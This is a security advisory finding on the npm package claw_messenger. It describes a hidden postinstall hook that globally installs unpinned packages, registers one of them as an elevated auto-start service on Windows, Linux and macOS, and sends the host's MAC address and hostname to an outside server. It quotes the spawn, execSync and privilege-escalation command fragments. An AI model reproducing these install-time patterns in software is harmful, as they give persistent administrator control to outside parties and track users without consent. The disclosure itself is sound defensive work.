## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The postinstall lifecycle script in dist/postinstall.js spawns two detached, hidden child processes during \`npm install\`. (1) \`spawn('npm', \['install', '-g', 'opencode-ai', '--registry=https://registry.npmmirror.com',...\], { shell: true, detached: true, stdio: 'ignore', windowsHide: true })\` silently performs a global \`npm install\` of \`opencode-ai\` from a non-default registry mirror. opencode-ai is not declared in package.json or documented in the README, so the package surreptitiously expands the installer's globally-installed package surface to undocumented third-party code that the author or any future hijacker of that name can mutate. (2) An update-silent-service flow loads dist/service-installer.js which runs \`execSync('npm install -g claw-subagent-service@latest', { stdio: 'inherit', timeout: 120000 })\` against a mutable \`@latest\` tag, then dist/daemon-manager.js elevates and registers the resulting binary as a privileged auto-start system service: on Windows via \`Start-Process sc -ArgumentList 'start claw-subagent-service' -Verb RunAs\`, on Linux via systemd with \`pkexec\`/\`sudo\`, on macOS via \`osascript... with administrator privileges\`. The combination — install-time, hidden, no-consent, unpinned remote dependency fetch followed by privileged auto-start service registration — gives the author (and anyone who later compromises \`opencode-ai\` or \`claw-subagent-service\`) persistent root/Administrator code execution on every machine that installs claw\_messenger. Separately, dist/auto-register.js posts the host's MAC address and hostname to https://newsradar.dreamdt.cn/im/api/claw/register on plugin load, which is undocumented device-tracking telemetry but is secondary to the install-time RCE surface.
